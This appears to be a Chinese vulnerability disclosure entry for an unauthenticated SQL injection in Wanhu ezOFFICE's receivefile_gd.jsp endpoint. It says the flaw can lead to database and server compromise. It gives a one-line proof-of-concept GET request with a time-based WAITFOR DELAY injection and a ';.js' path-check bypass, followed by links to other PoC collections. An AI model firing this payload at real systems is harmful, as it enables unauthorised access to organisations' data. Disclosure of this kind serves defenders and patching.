Description
万户OA ezofice是万户网络协同办公产品多年来一直将主要精力致力于中高端市场的一款OA协同办公软件产品，统一的基础管理平台,实现用户数据统一管理、权限统一分配、身份统一认证。 万户 ezOFFICE receivefile_gd.jsp 接口处存在SQL注入漏洞，未经身份验证的远程攻击者可利用此漏洞获取数据库权限，深入利用可获取服务器权限。
万户ezOFFICE协同管理平台 /defaultroot/modules/govoffice/gov_documentmanager/receivefile_gd.jsp;.js SQL 注入漏洞
PoC
GET /defaultroot/modules/govoffice/gov_documentmanager/receivefile_gd.jsp;.js?recordId=1;WAITFOR+DELAY+'0:0:0'-- HTTP/1.1
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://github.com/eeeeeeeeee-code/POC/blob/main/wpoc/%E4%B8%87%E6%88%B7OA/%E4%B8%87%E6%88%B7ezOFFICE%E5%8D%8F%E5%90%8C%E7%AE%A1%E7%90%86%E5%B9%B3%E5%8F%B0receivefile_gd.jsp%E5%AD%98%E5%9C%A8SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
https://cn-sec.com/archives/3129689.html
https://www.wlaqsys.com/archives/category/web1/%E4%B8%87%E6%88%B7-ezoffice
https://www.secevery.com/toBugInfo?id=1826525635179356162
https://idocdown.com/app/articles/blogs/detail/11408
https://starmap.dbappsecurity.com.cn/info/7049